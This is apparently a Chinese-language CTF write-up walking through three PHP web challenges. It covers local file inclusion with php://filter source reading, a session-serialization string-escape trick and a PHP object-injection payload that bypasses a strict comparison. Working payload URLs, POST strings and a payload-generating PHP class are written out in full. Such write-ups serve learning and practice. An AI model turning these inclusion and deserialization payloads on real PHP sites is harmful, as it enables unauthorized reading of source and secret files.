目录
[BSidesCF 2020]Had a bad day
总结:
[安洵杯 2019]easy_serialize_php
总结:
[网鼎杯 2020 青龙组]AreUSerialz
总结:
[BSidesCF 2020]Had a bad day
打开页面让我看看猫咪和修勾打开后发现url上有参数,存在sql注入?但是我加单引号后发现,他并没有那么简单,他是文件包含!?
伪协议读源码
category=php://filter/read=convert.base64-encode/resource=index
得到源码
PGh0bWw+CiAgPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IkltYWdlcyB0aGF0IHNwYXJrIGpveSI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgbWluaW11bS1zY2FsZT0xLjAiPgogICAgPHRpdGxlPkhhZCBhIGJhZCBkYXk/PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iY3NzL21hdGVyaWFsLm1pbi5jc3MiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJjc3Mvc3R5bGUuY3NzIj4KICA8L2hlYWQ+CiAgPGJvZHk+CiAgICA8ZGl2IGNsYXNzPSJwYWdlLWxheW91dCBtZGwtbGF5b3V0IG1kbC1sYXlvdXQtLWZpeGVkLWhlYWRlciBtZGwtanMtbGF5b3V0IG1kbC1jb2xvci0tZ3JleS0xMDAiPgogICAgICA8aGVhZGVyIGNsYXNzPSJwYWdlLWhlYWRlciBtZGwtbGF5b3V0X19oZWFkZXIgbWRsLWxheW91dF9faGVhZGVyLS1zY3JvbGwgbWRsLWNvbG9yLS1ncmV5LTEwMCBtZGwtY29sb3ItdGV4dC0tZ3JleS04MDAiPgogICAgICAgIDxkaXYgY2xhc3M9Im1kbC1sYXlvdXRfX2hlYWRlci1yb3ciPgogICAgICAgICAgPHNwYW4gY2xhc3M9Im1kbC1sYXlvdXQtdGl0bGUiPkhhZCBhIGJhZCBkYXk/PC9zcGFuPgogICAgICAgICAgPGRpdiBjbGFzcz0ibWRsLWxheW91dC1zcGFjZXIiPjwvZGl2PgogICAgICAgIDxkaXY+CiAgICAgIDwvaGVhZGVyPgogICAgICA8ZGl2IGNsYXNzPSJwYWdlLXJpYmJvbiI+PC9kaXY+CiAgICAgIDxtYWluIGNsYXNzPSJwYWdlLW1haW4gbWRsLWxheW91dF9fY29udGVudCI+CiAgICAgICAgPGRpdiBjbGFzcz0icGFnZS1jb250YWluZXIgbWRsLWdyaWQiPgogICAgICAgICAgPGRpdiBjbGFzcz0ibWRsLWNlbGwgbWRsLWNlbGwtLTItY29sIG1kbC1jZWxsLS1oaWRlLXRhYmxldCBtZGwtY2VsbC0taGlkZS1waG9uZSI+PC9kaXY+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWNvbnRlbnQgbWRsLWNvbG9yLS13aGl0ZSBtZGwtc2hhZG93LS00ZHAgY29udGVudCBtZGwtY29sb3ItdGV4dC0tZ3JleS04MDAgbWRsLWNlbGwgbWRsLWNlbGwtLTgtY29sIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icGFnZS1jcnVtYnMgbWRsLWNvbG9yLXRleHQtLWdyZXktNTAwIj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxoMz5DaGVlciB1cCE8L2gzPgogICAgICAgICAgICAgIDxwPgogICAgICAgICAgICAgICAgRGlkIHlvdSBoYXZlIGEgYmFkIGRheT8gRGlkIHRoaW5ncyBub3QgZ28geW91ciB3YXkgdG9kYXk/IEFyZSB5b3UgZmVlbGluZyBkb3duPyBQaWNrIGFuIG9wdGlvbiBhbmQgbGV0IHRoZSBhZG9yYWJsZSBpbWFnZXMgY2hlZXIgeW91IHVwIQogICAgICAgICAgICAgIDwvcD4KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWluY2x1ZGUiPgogICAgICAgICAgICAgIDw/cGhwCgkJCQkkZmlsZSA9ICRfR0VUWydjYXRlZ29yeSddOwoKCQkJCWlmKGlzc2V0KCRmaWxlKSkKCQkJCXsKCQkJCQlpZiggc3RycG9zKCAkZmlsZSwgIndvb2ZlcnMiICkgIT09ICBmYWxzZSB8fCBzdHJwb3MoICRmaWxlLCAibWVvd2VycyIgKSAhPT0gIGZhbHNlIHx8IHN0cnBvcyggJGZpbGUsICJpbmRleCIpKXsKCQkJCQkJaW5jbHVkZSAoJGZpbGUgLiAnLnBocCcpOwoJCQkJCX0KCQkJCQllbHNlewoJCQkJCQllY2hvICJTb3JyeSwgd2UgY3VycmVudGx5IG9ubHkgc3VwcG9ydCB3b29mZXJzIGFuZCBtZW93ZXJzLiI7CgkJCQkJfQoJCQkJfQoJCQkJPz4KCQkJPC9kaXY+CiAgICAgICAgICA8Zm9ybSBhY3Rpb249ImluZGV4LnBocCIgbWV0aG9kPSJnZXQiIGlkPSJjaG9pY2UiPgogICAgICAgICAgICAgIDxjZW50ZXI+PGJ1dHRvbiBvbmNsaWNrPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY2hvaWNlJykuc3VibWl0KCk7IiBuYW1lPSJjYXRlZ29yeSIgdmFsdWU9Indvb2ZlcnMiIGNsYXNzPSJtZGwtYnV0dG9uIG1kbC1idXR0b24tLWNvbG9yZWQgbWRsLWJ1dHRvbi0tcmFpc2VkIG1kbC1qcy1idXR0b24gbWRsLWpzLXJpcHBsZS1lZmZlY3QiIGRhdGEtdXBncmFkZWQ9IixNYXRlcmlhbEJ1dHRvbixNYXRlcmlhbFJpcHBsZSI+V29vZmVyczxzcGFuIGNsYXNzPSJtZGwtYnV0dG9uX19yaXBwbGUtY29udGFpbmVyIj48c3BhbiBjbGFzcz0ibWRsLXJpcHBsZSBpcy1hbmltYXRpbmciIHN0eWxlPSJ3aWR0aDogMTg5LjM1NnB4OyBoZWlnaHQ6IDE4OS4zNTZweDsgdHJhbnNmb3JtOiB0cmFuc2xhdGUoLTUwJSwgLTUwJSkgdHJhbnNsYXRlKDMxcHgsIDI1cHgpOyI+PC9zcGFuPjwvc3Bhbj48L2J1dHRvbj4KICAgICAgICAgICAgICA8YnV0dG9uIG9uY2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjaG9pY2UnKS5zdWJtaXQoKTsiIG5hbWU9ImNhdGVnb3J5IiB2YWx1ZT0ibWVvd2VycyIgY2xhc3M9Im1kbC1idXR0b24gbWRsLWJ1dHRvbi0tY29sb3JlZCBtZGwtYnV0dG9uLS1yYWlzZWQgbWRsLWpzLWJ1dHRvbiBtZGwtanMtcmlwcGxlLWVmZmVjdCIgZGF0YS11cGdyYWRlZD0iLE1hdGVyaWFsQnV0dG9uLE1hdGVyaWFsUmlwcGxlIj5NZW93ZXJzPHNwYW4gY2xhc3M9Im1kbC1idXR0b25fX3JpcHBsZS1jb250YWluZXIiPjxzcGFuIGNsYXNzPSJtZGwtcmlwcGxlIGlzLWFuaW1hdGluZyIgc3R5bGU9IndpZHRoOiAxODkuMzU2cHg7IGhlaWdodDogMTg5LjM1NnB4OyB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlLCAtNTAlKSB0cmFuc2xhdGUoMzFweCwgMjVweCk7Ij48L3NwYW4+PC9zcGFuPjwvYnV0dG9uPjwvY2VudGVyPgogICAgICAgICAgPC9mb3JtPgoKICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICA8L21haW4+CiAgICA8L2Rpdj4KICAgIDxzY3JpcHQgc3JjPSJqcy9tYXRlcmlhbC5taW4uanMiPjwvc2NyaXB0PgogIDwvYm9keT4KPC9odG1sPg==
base64解密得到源码,审代码,我拿出了需要用的地方
$file = $_GET['category'];
if(isset($file)) { if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ include ($file . '.php'); } else{ echo "Sorry, we currently only support woofers and meowers."; } }
最后一步就是包含flag了!
?category=meowers/../flag
没有东西!但是在源代码里出现了
<!-- Can you read this flag? -->
说明包含到了,但是没有到位。那就:
?category=php://filter/read=convert.base64-encode/resource=meowers/../flag
总结:
文件包含读源码也是没有入手点时候的一种思路!
[安洵杯 2019]easy_serialize_php
?
浅浅的读一下这个源码吧!
?
要用GET传参一个f,并且进行过滤,后缀中不可以出现php,flag,php5,php4,fl1g
?
unset()销毁指定的变量
?
把POST变为变量
?
最后对$_SESSION进行了一些过滤
因为题目提示可能在phpinfo()中看到一些东西,那我们就让参数f等于"phpinfo",
?
我找到了这个!显然是要读取这个文件!那我们就浅浅的读一下吧!要读这个文件就要回去看代码,我们需要用到的部分是
if($function == 'show_image'){
? ?$userinfo = unserialize($serialize_info);
? ?echo file_get_contents(base64_decode($userinfo['img']));
}
必须要让$function等于show_image
读取的是base64解码后的$userinfo[‘img’],$userinfo的值是$serialize_info的反序列化对象,$serialize_info是经过自定义函数过滤的序列化后的$_SESSION。
这个filter函数是自定义的,考察了反序列化字符逃逸
$_SESSION["user"]='flagflagflagflagflagflag'; ?
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}'; ?
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn'; ?
对上述代码序列化后得到的应该是
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
但是让函数filter过滤后就会变为
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
第二个s类型应该是一坨flag,但是被过滤了,php就会尝试向后读取它该有的24个字符,也就是
;s:8:”function”;s:59:”a”
刚好后面就是img,这样就成功的把
ZDBnM19mMWFnLnBocA==
赋值给img
冲!
get:f=show_image post:_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
回显出现
<?php
?
$flag = 'flag in /d0g3_fllllllag';
?
?>
base64(d0g3_fllllllag)=L2QwZzNfZmxsbGxsbGFn
所以我们:
get:f=show_image
post:_SESSION[fl1gfl1g]=";s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
总结:
在PHP中反序列化的过程中必须严格按照序列化规则才能成功实现反序列化!
反序列化做的题太少了,导致我在这卡了很久!要多做反序列化了!
[网鼎杯 2020 青龙组]AreUSerialz
代码太长了,我就不截图出来了。
审代码吧!用GET方式传入序列化的str字符串,字符串中的字符ASCII范围在32到125之间(ASCII码表)
在反序列化的过程中,调用__destruct析构方法
?
如果op==="2",将其赋为"1",同时content赋为空,进入process函数,需要注意到的地方是,这里op与"2"比较的时候是强类型比较
进入process函数后,如果op=="1",则进入write函数,若op=="2",则进入read函数,否则输出报错,可以看出来这里op与字符串的比较变成了弱类型比较==。
所以我们只要令op=2,这里的2是整数int。当op=2时,op==="2"为false,op=="2"为true,接着进入read函数
filename是我们可以控制的,接着使用file_get_contents函数读取文件,我们此处借助php://filter伪协议读取文件,获取到文件后使用output函数输出
整个利用思路就很明显了,还有一个需要注意的地方是,$op,$filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验。
<?php
class FileHandler {
? protected $op=2;
? protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
? protected $content;
? function __construct() {
? ? ? $op = "1";
? ? ? $filename = "/tmp/tmpfile";
? ? ? $content = "Hello World!";
? ? ? // $this->process();
? }
? public function process() {
? ? ? if($this->op == "1") {
? ? ? ? ? $this->write();
? ? ? } else if($this->op == "2") {
? ? ? ? ? $res = $this->read();
? ? ? ? ? $this->output($res);
? ? ? } else {
? ? ? ? ? $this->output("Bad Hacker!");
? ? ? }
? }
? private function write() {
? ? ? if(isset($this->filename) && isset($this->content)) {
? ? ? ? ? if(strlen((string)$this->content) > 100) {
? ? ? ? ? ? ? $this->output("Too long!");
? ? ? ? ? ? ? die();
? ? ? ? ? }
? ? ? ? ? $res = file_put_contents($this->filename, $this->content);
? ? ? ? ? if($res) $this->output("Successful!");
? ? ? ? ? else $this->output("Failed!");
? ? ? } else {
? ? ? ? ? $this->output("Failed!");
? ? ? }
? }
? private function read() {
? ? ? $res = "";
? ? ? if(isset($this->filename)) {
? ? ? ? ? $res = file_get_contents($this->filename);
? ? ? }
? ? ? return $res;
? }
? private function output($s) {
? ? ? echo "[Result]: <br>";
? ? ? echo $s;
? }
? function __destruct() {
? ? ? if($this->op === "2")
? ? ? ? ? $this->op = "1";
? ? ? $this->content = "";
? ? ? // $this->process();
? }
}
$A=new FileHandler();
$B=serialize($A);
echo $B;
运行之后,这不可显字符夹着一个星号*的地方就是%00字符
看了看大佬的wp
有几种绕过方式,我觉得最好的方法就是
php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过
public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
现在得到的结果就没有%00字符了
最终payload:
?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}
总结:
要懂得利用PHP版本对漏洞的帮助,给他一套组合拳!
感谢buu提供优质题,也感谢勤劳的自己!
|